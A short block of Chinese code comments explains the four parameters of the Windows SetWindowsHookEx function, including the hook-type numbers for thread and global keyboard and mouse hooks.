//
//關於SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函式將鉤子加入到鉤子連結串列中，說明一下四個引數：
//idHook 鉤子型別，即確定鉤子監聽何種訊息，上面的程式碼中設為2，即監聽鍵盤訊息並且是執行緒鉤子，如果是全域性鉤子監聽鍵盤訊息應設為13，
//執行緒鉤子監聽滑鼠訊息設為7，全域性鉤子監聽滑鼠訊息設為14。
//
//lpfn 鉤子子程的地址指標。如果dwThreadId引數為0 或是一個由別的程序建立的執行緒的標識，lpfn必須指向DLL中的鉤子子程。 除此以外，lpfn可
//以指向當前程序的一段鉤子子程程式碼。鉤子函式的入口地址，當鉤子鉤到任何訊息後便呼叫這個函式。
//
//hInstance應用程式例項的控制代碼。標識包含lpfn所指的子程的DLL。如果threadId 標識當前程序建立的一個執行緒，而且子程程式碼位於當前
//程序，hInstance必須為NULL。可以很簡單的設定其為本應用程式的例項控制代碼。
//
//threadedId 與安裝的鉤子子程相關聯的執行緒的識別符號。如果為0，鉤子子程與所有的執行緒關聯，即為全域性鉤子。
